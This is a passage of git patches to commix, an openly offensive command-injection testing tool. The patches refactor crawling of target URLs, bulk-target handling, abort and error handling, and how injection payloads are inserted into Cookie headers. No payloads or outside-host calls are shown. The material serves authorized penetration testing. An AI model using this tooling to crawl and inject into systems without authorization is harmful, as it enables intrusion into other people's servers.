@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Added: Support for normalizing crawling results.
* Revised: Improvement regarding crawler.
* Revised: Minor bug-fix regarding `--file-upload` option.
* Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s).
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index a9f526f804..211c83acd9 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -303,7 +303,38 @@ def crawler(url):
print(settings.SINGLE_WHITESPACE)
settings.CRAWLING_DEPTH += 1
- output_href = crawled_hrefs
+ output_href = crawled_hrefs
+ results = []
+ while True:
+ if not menu.options.batch:
+ question_msg = "Do you want to normalize crawling results? [Y/n] > "
+ message = _input(settings.print_question_msg(question_msg))
+ else:
+ message = ""
+ if len(message) == 0:
+ message = "Y"
+ if message in settings.CHOICE_YES:
+ seen = set()
+ for target in output_href:
+ value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "")
+ match = re.search(r"/[^/?]*\?.+\Z", value)
+ if match:
+ key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")
+ if '=' in key and key not in seen:
+ results.append(target)
+ seen.add(key)
+ if len(results) != 0:
+ output_href = results
+ break
+ elif message in settings.CHOICE_NO:
+ break
+ elif message in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + message + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+
return output_href
# eof
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 0da3a13f57..6eee285fef 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "53"
+REVISION = "54"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 4c469390fddc01296b193968014d56b8fcde49e1 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 7 May 2022 08:05:31 +0300
Subject: [PATCH 131/560] Fixes
https://github.com/commixproject/commix/issues/766 (+ multiple other fixes /
updates)
---
src/core/enums.py | 58 --------
src/core/injections/controller/checks.py | 22 ++-
src/core/injections/controller/controller.py | 140 +++++++++---------
src/core/main.py | 144 +++++++++----------
src/core/requests/parameters.py | 2 +
src/core/requests/requests.py | 6 +-
src/utils/crawler.py | 4 +-
src/utils/settings.py | 2 +-
8 files changed, 172 insertions(+), 206 deletions(-)
delete mode 100644 src/core/enums.py
diff --git a/src/core/enums.py b/src/core/enums.py
deleted file mode 100644
index 30f2b608f7..0000000000
--- a/src/core/enums.py
+++ /dev/null
@@ -1,58 +0,0 @@
-#!/usr/bin/env python
-# encoding: UTF-8
-
-"""
-This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
-
-This program is free software: you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation, either version 3 of the License, or
-(at your option) any later version.
-
-For more see the file 'readme/COPYING' for copying permission.
-"""
-
-import re
-import os
-import sys
-from src.utils import settings
-
-"""
-Runs the basic smoke testing
-"""
-def smoke_test():
- info_msg = "Executing smoke test."
- print(settings.print_info_msg(info_msg))
-
- _ = True
- file_paths = []
- for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH):
- file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames])
-
- for filename in file_paths:
- if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename:
- path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0])
- path = path.replace(settings.COMMIX_ROOT_PATH, '.')
- path = path.replace(os.sep, '.').lstrip('.')
- if "." in path:
- try:
- __import__(path)
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Succeeded importing '" + str(path) + "' module."
- print(settings.print_debug_msg(debug_msg))
- except Exception as ex:
- error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'."
- print(settings.print_error_msg(error_msg))
- _ = False
-
- result = "Smoke test "
- if _:
- result = result + "passed."
- print(settings.print_bold_info_msg(result))
- else:
- result = result + "failed."
- print(settings.print_bold_error_msg(result))
- raise SystemExit()
-
-
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 80966a57c1..a76a4c49d5 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -27,6 +27,7 @@
import gzip
import zlib
import traceback
+from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.utils import simple_http_server
@@ -52,9 +53,20 @@
settings.READLINE_ERROR = True
"""
-Connection exceptions
+User aborted procedure
"""
+def user_aborted(filename, url):
+ abort_msg = "User aborted procedure "
+ abort_msg += "during the " + assessment_phase()
+ abort_msg += " phase (Ctrl-C was pressed)."
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_abort_msg(abort_msg))
+ logs.print_logs_notification(filename, url)
+ os._exit(0)
+"""
+Connection exceptions
+"""
def connection_exceptions(err_msg, url):
settings.VALID_URL = False
try:
@@ -64,7 +76,7 @@ def connection_exceptions(err_msg, url):
error_msg = str(err_msg.args[0])
except IndexError:
error_msg = str(err_msg)
- if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
+ if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING:
print(settings.SINGLE_WHITESPACE)
if "ssl" in str(error_msg):
settings.MAX_RETRIES = 1
@@ -83,6 +95,7 @@ def connection_exceptions(err_msg, url):
warn_msg += "'--random-agent' switch and/or "
warn_msg += "'--proxy' option."
print(settings.print_warning_msg(warn_msg))
+ raise SystemExit()
elif "infinite loop" in str(error_msg):
error_msg = "Infinite redirect loop detected. "
error_msg += "Please check all provided parameters and/or provide missing ones"
@@ -100,7 +113,7 @@ def connection_exceptions(err_msg, url):
if settings.MAX_RETRIES > 1 and not settings.CRAWLING:
info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
print(settings.print_info_msg(info_msg))
- error_msg = "Unable to connect to the target URL (Reason: " + error_msg.replace("Http", "Http".upper()) + ")."
+ error_msg = "Unable to connect to the target URL (Reason: " + str(error_msg.replace("Http", "Http".upper())) + ")."
if not url:
_ = ""
else:
@@ -567,8 +580,7 @@ def continue_tests(err):
print(settings.print_error_msg(err_msg))
pass
except KeyboardInterrupt:
- print("\n") + Back.RED + settings.ABORTION_SIGN + "Ctrl-C was pressed!" + Style.RESET_ALL
- raise SystemExit()
+ raise
"""
Check if option is unavailable
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index bd5099f9bb..198a678427 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -794,76 +794,80 @@ def basic_level_checks():
General check on every injection technique.
"""
def do_check(url, http_request_method, filename):
- if settings.RECHECK_FILE_FOR_EXTRACTION:
- settings.RECHECK_FILE_FOR_EXTRACTION = False
-
- # Check for '--tor' option.
- if menu.options.tor:
- if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech:
- warn_msg = "It is highly recommended to avoid usage of switch '--tor' for "
- warn_msg += "time-based injections because of inherent high latency time."
- print(settings.print_warning_msg(warn_msg))
+ try:
+ if settings.RECHECK_FILE_FOR_EXTRACTION:
+ settings.RECHECK_FILE_FOR_EXTRACTION = False
+
+ # Check for '--tor' option.
+ if menu.options.tor:
+ if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech:
+ warn_msg = "It is highly recommended to avoid usage of switch '--tor' for "
+ warn_msg += "time-based injections because of inherent high latency time."
+ print(settings.print_warning_msg(warn_msg))
- # Check for "backticks" tamper script.
- if settings.USE_BACKTICKS == True:
- if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech:
- warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. "
- print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
-
- # Check for "wizard" switch.
- if menu.options.wizard:
- if perform_checks(url, http_request_method, filename) == False:
- scan_level = menu.options.level
- while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True:
- while True:
- if not menu.options.batch:
- question_msg = "Do you want to increase to '--level=" + str(scan_level + 1)
- question_msg += "' in order to perform more tests? [Y/n] > "
- next_level = _input(settings.print_question_msg(question_msg))
- else:
- next_level = ""
- if len(next_level) == 0:
- next_level = "Y"
- if next_level in settings.CHOICE_YES:
- menu.options.level = int(menu.options.level + scan_level)
- if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL :
- scan_level = scan_level + 1
+ # Check for "backticks" tamper script.
+ if settings.USE_BACKTICKS == True:
+ if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech:
+ warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. "
+ print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
+
+ # Check for "wizard" switch.
+ if menu.options.wizard:
+ if perform_checks(url, http_request_method, filename) == False:
+ scan_level = menu.options.level
+ while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True:
+ while True:
+ if not menu.options.batch:
+ question_msg = "Do you want to increase to '--level=" + str(scan_level + 1)
+ question_msg += "' in order to perform more tests? [Y/n] > "
+ next_level = _input(settings.print_question_msg(question_msg))
else:
- break
- elif next_level in settings.CHOICE_NO:
- break
- elif next_level in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- err_msg = "'" + next_level + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
- else:
- perform_checks(url, http_request_method, filename)
-
- # All injection techniques seems to be failed!
- if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False :
- if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS:
- err_msg = "All tested parameters "
- if menu.options.level > 2:
- err_msg += "and HTTP headers "
- err_msg += "appear to be not injectable."
- if not menu.options.alter_shell :
- err_msg += " Try to use the option '--alter-shell'"
- else:
- err_msg += " Try to remove the option '--alter-shell'"
- if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL :
- err_msg += " and/or increase '--level' value to perform"
- err_msg += " more tests"
- if menu.options.skip_empty:
- err_msg += " and/or remove the option '--skip-empty'"
- err_msg += "."
- print(settings.print_critical_msg(err_msg))
+ next_level = ""
+ if len(next_level) == 0:
+ next_level = "Y"
+ if next_level in settings.CHOICE_YES:
+ menu.options.level = int(menu.options.level + scan_level)
+ if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL :
+ scan_level = scan_level + 1
+ else:
+ break
+ elif next_level in settings.CHOICE_NO:
+ break
+ elif next_level in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + next_level + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+ else:
+ perform_checks(url, http_request_method, filename)
+
+ # All injection techniques seems to be failed!
+ if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False :
+ if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS:
+ err_msg = "All tested parameters "
+ if menu.options.level > 2:
+ err_msg += "and HTTP headers "
+ err_msg += "appear to be not injectable."
+ if not menu.options.alter_shell :
+ err_msg += " Try to use the option '--alter-shell'"
+ else:
+ err_msg += " Try to remove the option '--alter-shell'"
+ if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL :
+ err_msg += " and/or increase '--level' value to perform"
+ err_msg += " more tests"
+ if menu.options.skip_empty:
+ err_msg += " and/or remove the option '--skip-empty'"
+ err_msg += "."
+ print(settings.print_critical_msg(err_msg))
- if not settings.MULTI_TARGETS:
- logs.print_logs_notification(filename, url)
+ if not settings.MULTI_TARGETS:
+ logs.print_logs_notification(filename, url)
+
+ if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS:
+ raise SystemExit()
+
+ except KeyboardInterrupt:
+ checks.user_aborted(filename, url)
- if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS:
- raise SystemExit()
-
# eof
\ No newline at end of file
diff --git a/src/core/main.py b/src/core/main.py
index d1d6b53dc6..a0b5f4b21e 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -59,6 +59,7 @@
# Use Colorama to make Termcolor work on Windows too :)
init()
+
"""
Define HTTP User-Agent header.
"""
@@ -496,7 +497,7 @@ def main(filename, url):
logs.print_logs_notification(filename, url)
try:
-
+ filename = ""
# Check if defined "--version" option.
if menu.options.version:
version.show_version()
@@ -757,54 +758,6 @@ def main(filename, url):
if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START:
update.check_for_update()
- # Load the crawler
- if settings.CRAWLING:
- output_href = crawler.crawler(menu.options.url)
- filename = crawler.store_crawling()
- # Removing duplicates from list.
- clean_output_href = []
- [clean_output_href.append(x) for x in output_href if x not in clean_output_href]
- # Removing empty elements from list.
- clean_output_href = [x for x in clean_output_href if x]
- if len(clean_output_href) != 0:
- settings.MULTI_TARGETS = True
- info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
- print(settings.print_info_msg(info_msg))
- url_num = 0
- for url in clean_output_href:
- if re.search(r"(.*?)\?(.+)", url):
- url_num += 1
- print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
- if filename is not None:
- with open(filename, "a") as crawling_results:
- crawling_results.write(url + "\n")
- if not menu.options.batch:
- question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "Y"
- if message in settings.CHOICE_YES:
- settings.INIT_TEST = True
- if url == clean_output_href[-1]:
- settings.EOF = True
- # Reset the injection level
- if menu.options.level > 3:
- menu.options.level = 1
- init_injection(url)
- try:
- response, url = url_response(url)
- if response != False:
- filename = logs.logs_filename_creation(url)
- main(filename, url)
- except:
- pass
- elif message in settings.CHOICE_NO:
- pass
- elif message in settings.CHOICE_QUIT:
- raise SystemExit()
-
# Check if option is "-m" for multiple urls test.
if menu.options.bulkfile:
bulkfile = menu.options.bulkfile
@@ -824,20 +777,76 @@ def main(filename, url):
sys.stdout.flush()
raise SystemExit()
else:
- print(settings.SINGLE_WHITESPACE)
- with open(menu.options.bulkfile) as f:
- bulkfile = [url.strip() for url in f]
settings.MULTI_TARGETS = True
- # Removing duplicates from list.
- clean_bulkfile = []
- [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile]
- # Removing empty elements from list.
- clean_bulkfile = [x for x in clean_bulkfile if x]
- url_num = 0
- print(settings.print_info_msg("Found a total of " + str(len(clean_bulkfile)) + " targets."))
- for url in clean_bulkfile:
+
+ if settings.MULTI_TARGETS:
+ print(settings.SINGLE_WHITESPACE)
+ with open(menu.options.bulkfile) as f:
+ bulkfile = [url.strip() for url in f]
+ # Removing duplicates from list.
+ clean_bulkfile = []
+ [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile]
+ # Removing empty elements from list.
+ clean_bulkfile = [x for x in clean_bulkfile if x]
+ url_num = 0
+ info_msg = "Found a total of " + str(len(clean_bulkfile)) + " target"+ "s"[len(clean_bulkfile) == 1:] + "."
+ print(settings.print_info_msg(info_msg))
+ for url in clean_bulkfile:
+ url_num += 1
+ print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_bulkfile)) + "] URL - " + url) + "")
+ if not menu.options.batch:
+ question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
+ message = _input(settings.print_question_msg(question_msg))
+ else:
+ message = ""
+ if len(message) == 0:
+ message = "Y"
+ if message in settings.CHOICE_YES:
+ settings.INIT_TEST = True
+ if url == clean_bulkfile[-1]:
+ settings.EOF = True
+ # Reset the injection level
+ if menu.options.level > 3:
+ menu.options.level = 1
+ init_injection(url)
+ try:
+ response, url = url_response(url)
+ if response != False:
+ filename = logs.logs_filename_creation(url)
+ main(filename, url)
+ except:
+ pass
+ elif message in settings.CHOICE_NO:
+ pass
+ elif message in settings.CHOICE_QUIT:
+ raise SystemExit()
+
+ # Check if option "--crawl" is enabled.
+ if settings.CRAWLING:
+ filename = crawler.store_crawling()
+ if settings.MULTI_TARGETS:
+ output_href = []
+ for url in bulkfile:
+ output_href.append(url)
+ else:
+ output_href = crawler.crawler(menu.options.url)
+ # Removing duplicates from list.
+ clean_output_href = []
+ [clean_output_href.append(x) for x in output_href if x not in clean_output_href]
+ # Removing empty elements from list.
+ clean_output_href = [x for x in clean_output_href if x]
+ if len(clean_output_href) != 0:
+ settings.MULTI_TARGETS = True
+ info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
+ print(settings.print_info_msg(info_msg))
+ url_num = 0
+ for url in clean_output_href:
+ if re.search(r"(.*?)\?(.+)", url):
url_num += 1
- print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_bulkfile)) + "] URL - " + url) + "")
+ print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
+ if filename is not None:
+ with open(filename, "a") as crawling_results:
+ crawling_results.write(url + "\n")
if not menu.options.batch:
question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
message = _input(settings.print_question_msg(question_msg))
@@ -847,7 +856,7 @@ def main(filename, url):
message = "Y"
if message in settings.CHOICE_YES:
settings.INIT_TEST = True
- if url == clean_bulkfile[-1]:
+ if url == clean_output_href[-1]:
settings.EOF = True
# Reset the injection level
if menu.options.level > 3:
@@ -879,16 +888,7 @@ def main(filename, url):
main(filename, url)
except KeyboardInterrupt:
- abort_msg = "User aborted procedure "
- abort_msg += "during the " + checks.assessment_phase()
- abort_msg += " phase (Ctrl-C was pressed)."
- new_line = "\n"
- print(new_line + settings.print_abort_msg(abort_msg))
- try:
- logs.print_logs_notification(filename, url)
- print(settings.SINGLE_WHITESPACE)
- except NameError:
- raise SystemExit()
+ checks.user_aborted(filename, url)
except SystemExit:
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index cdfac48053..8a00bcec0d 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -407,6 +407,8 @@ def prefixes(payload, prefix):
"""
def suffixes(payload, suffix):
# Check if defined "--suffix" option.
+ if settings.COOKIE_INJECTION and suffix == settings.COOKIE_DELIMITER:
+ suffix = ""
if menu.options.suffix:
payload = payload + suffix + menu.options.suffix
else:
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index e1aff96b06..24399f0288 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -366,7 +366,11 @@ def inject_cookie(url, vuln_parameter, payload, proxy):
#Check if defined extra headers.
headers.do_check(request)
payload = checks.newline_fixation(payload)
- request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload.replace("+", "%2B")))
+ payload = payload.replace("+", "%2B")
+ if settings.INJECT_TAG in menu.options.cookie:
+ request.add_header('Cookie', menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload))
+ else:
+ request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload))
try:
headers.check_http_traffic(request)
response = opener.open(request)
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 211c83acd9..1789f0b73b 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -135,7 +135,8 @@ def request(url):
settings.HREF_SKIPPED.append(url)
settings.CRAWLED_SKIPPED_URLS += 1
# if settings.CRAWLING_DEPTH == 1:
- print(settings.SINGLE_WHITESPACE)
+ if settings.TOTAL_OF_REQUESTS != 1:
+ print(settings.SINGLE_WHITESPACE)
checks.connection_exceptions(err_msg, url)
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
@@ -194,6 +195,7 @@ def do_process(url):
def crawler(url):
info_msg = "Starting crawler for target URL '" + url + "'"
print(settings.print_info_msg(info_msg))
+ response = request(url)
if menu.options.sitemap_url:
message = ""
if not menu.options.crawldepth:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 6eee285fef..fdaf822750 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "54"
+REVISION = "55"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 9483ec147fa9f6ce76c4d9fb0b833e38a99bd6bb Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 8 May 2022 08:06:50 +0300
Subject: [PATCH 132/560] Fixes
https://github.com/commixproject/commix/issues/767 and added support
regarding combining `--crawl` option with scanning multiple targets given in
a textual file (i.e. via option `-m`).
---
doc/CHANGELOG.md | 1 +
src/core/injections/controller/checks.py | 15 +-
src/core/main.py | 136 +++++++----------
src/core/requests/redirection.py | 5 +-
src/utils/crawler.py | 187 +++++++++++++----------
src/utils/settings.py | 8 +-
6 files changed, 180 insertions(+), 172 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index c8de73023b..e4f15ae11f 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`).
* Added: Support for normalizing crawling results.
* Revised: Improvement regarding crawler.
* Revised: Minor bug-fix regarding `--file-upload` option.
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index a76a4c49d5..38a4d95542 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -78,9 +78,11 @@ def connection_exceptions(err_msg, url):
error_msg = str(err_msg)
if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING:
print(settings.SINGLE_WHITESPACE)
- if "ssl" in str(error_msg):
+ if "wrong version number" in str(error_msg).lower():
settings.MAX_RETRIES = 1
error_msg = "can't establish SSL connection"
+ elif "connection refused" in str(error_msg).lower():
+ settings.MAX_RETRIES = 1
else:
if settings.TOTAL_OF_REQUESTS == 1:
if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(error_msg):
@@ -95,7 +97,8 @@ def connection_exceptions(err_msg, url):
warn_msg += "'--random-agent' switch and/or "
warn_msg += "'--proxy' option."
print(settings.print_warning_msg(warn_msg))
- raise SystemExit()
+ if not settings.MULTI_TARGETS:
+ raise SystemExit()
elif "infinite loop" in str(error_msg):
error_msg = "Infinite redirect loop detected. "
error_msg += "Please check all provided parameters and/or provide missing ones"
@@ -114,12 +117,12 @@ def connection_exceptions(err_msg, url):
info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
print(settings.print_info_msg(info_msg))
error_msg = "Unable to connect to the target URL (Reason: " + str(error_msg.replace("Http", "Http".upper())) + ")."
- if not url:
+ if not isinstance(url, str):
_ = ""
else:
- _ = " '" + url + "'"
- if settings.MULTI_TARGETS or settings.CRAWLED_SKIPPED_URLS != 0:
- error_msg = error_msg + " Skipping URL"+ _ +"."
+ _ = " Skipping URL '" + str(url) + "'."
+ if settings.MULTI_TARGETS:
+ error_msg = error_msg + _
print(settings.print_critical_msg(error_msg))
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
if settings.MAX_RETRIES > 1:
diff --git a/src/core/main.py b/src/core/main.py
index a0b5f4b21e..d89e38536a 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -758,6 +758,19 @@ def main(filename, url):
if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START:
update.check_for_update()
+ if not menu.options.bulkfile and not settings.CRAWLING:
+ if os_checks_num == 0:
+ settings.INIT_TEST = True
+ # Check if option is "--url" for single url test.
+ if menu.options.sitemap_url:
+ url = menu.options.sitemap_url
+ else:
+ url = menu.options.url
+ response, url = url_response(url)
+ if response != False:
+ filename = logs.logs_filename_creation(url)
+ main(filename, url)
+
# Check if option is "-m" for multiple urls test.
if menu.options.bulkfile:
bulkfile = menu.options.bulkfile
@@ -778,22 +791,46 @@ def main(filename, url):
raise SystemExit()
else:
settings.MULTI_TARGETS = True
+ print(settings.SINGLE_WHITESPACE)
+ with open(menu.options.bulkfile) as f:
+ bulkfile = [url.strip() for url in f]
- if settings.MULTI_TARGETS:
- print(settings.SINGLE_WHITESPACE)
- with open(menu.options.bulkfile) as f:
- bulkfile = [url.strip() for url in f]
- # Removing duplicates from list.
- clean_bulkfile = []
- [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile]
- # Removing empty elements from list.
- clean_bulkfile = [x for x in clean_bulkfile if x]
- url_num = 0
- info_msg = "Found a total of " + str(len(clean_bulkfile)) + " target"+ "s"[len(clean_bulkfile) == 1:] + "."
+ # Check if option "--crawl" is enabled.
+ if settings.CRAWLING:
+ url_num = 1
+ if not menu.options.bulkfile:
+ crawling_list = 1
+ output_href = crawler.crawler(menu.options.url, url_num, crawling_list)
+ else:
+ output_href = []
+ crawling_list = len(bulkfile)
+ for url in bulkfile:
+ output_href = (crawler.crawler(url, url_num, crawling_list))
+ url_num += 1
+ output_href = output_href + bulkfile
+ output_href = [x for x in output_href if x not in settings.HREF_SKIPPED]
+ output_href = crawler.normalize_results(output_href)
+ filename = crawler.store_crawling()
+ else:
+ output_href = []
+ output_href = output_href + bulkfile
+ filename = None
+ # Removing duplicates from list.
+ clean_output_href = []
+ [clean_output_href.append(x) for x in output_href if x not in clean_output_href]
+ # Removing empty elements from list.
+ clean_output_href = [x for x in clean_output_href if x]
+ if len(clean_output_href) != 0:
+ info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
print(settings.print_info_msg(info_msg))
- for url in clean_bulkfile:
+ url_num = 0
+ for url in clean_output_href:
+ if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS:
url_num += 1
- print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_bulkfile)) + "] URL - " + url) + "")
+ print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
+ if filename is not None:
+ with open(filename, "a") as crawling_results:
+ crawling_results.write(url + "\n")
if not menu.options.batch:
question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
message = _input(settings.print_question_msg(question_msg))
@@ -803,7 +840,7 @@ def main(filename, url):
message = "Y"
if message in settings.CHOICE_YES:
settings.INIT_TEST = True
- if url == clean_bulkfile[-1]:
+ if url == clean_output_href[-1]:
settings.EOF = True
# Reset the injection level
if menu.options.level > 3:
@@ -821,74 +858,11 @@ def main(filename, url):
elif message in settings.CHOICE_QUIT:
raise SystemExit()
- # Check if option "--crawl" is enabled.
- if settings.CRAWLING:
- filename = crawler.store_crawling()
- if settings.MULTI_TARGETS:
- output_href = []
- for url in bulkfile:
- output_href.append(url)
- else:
- output_href = crawler.crawler(menu.options.url)
- # Removing duplicates from list.
- clean_output_href = []
- [clean_output_href.append(x) for x in output_href if x not in clean_output_href]
- # Removing empty elements from list.
- clean_output_href = [x for x in clean_output_href if x]
- if len(clean_output_href) != 0:
- settings.MULTI_TARGETS = True
- info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
- print(settings.print_info_msg(info_msg))
- url_num = 0
- for url in clean_output_href:
- if re.search(r"(.*?)\?(.+)", url):
- url_num += 1
- print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
- if filename is not None:
- with open(filename, "a") as crawling_results:
- crawling_results.write(url + "\n")
- if not menu.options.batch:
- question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "Y"
- if message in settings.CHOICE_YES:
- settings.INIT_TEST = True
- if url == clean_output_href[-1]:
- settings.EOF = True
- # Reset the injection level
- if menu.options.level > 3:
- menu.options.level = 1
- init_injection(url)
- try:
- response, url = url_response(url)
- if response != False:
- filename = logs.logs_filename_creation(url)
- main(filename, url)
- except:
- pass
- elif message in settings.CHOICE_NO:
- pass
- elif message in settings.CHOICE_QUIT:
- raise SystemExit()
-
- else:
- if os_checks_num == 0:
- settings.INIT_TEST = True
- # Check if option is "--url" for single url test.
- if menu.options.sitemap_url:
- url = menu.options.sitemap_url
- else:
- url = menu.options.url
- response, url = url_response(url)
- if response != False:
- filename = logs.logs_filename_creation(url)
- main(filename, url)
-
except KeyboardInterrupt:
- checks.user_aborted(filename, url)
+ try:
+ checks.user_aborted(filename, url)
+ except NameError:
+ raise SystemExit()
except SystemExit:
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index a1c4035cc6..562b722a2a 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -65,8 +65,8 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
return response.geturl()
else:
while True:
- if not menu.options.batch:
- if settings.CRAWLING:
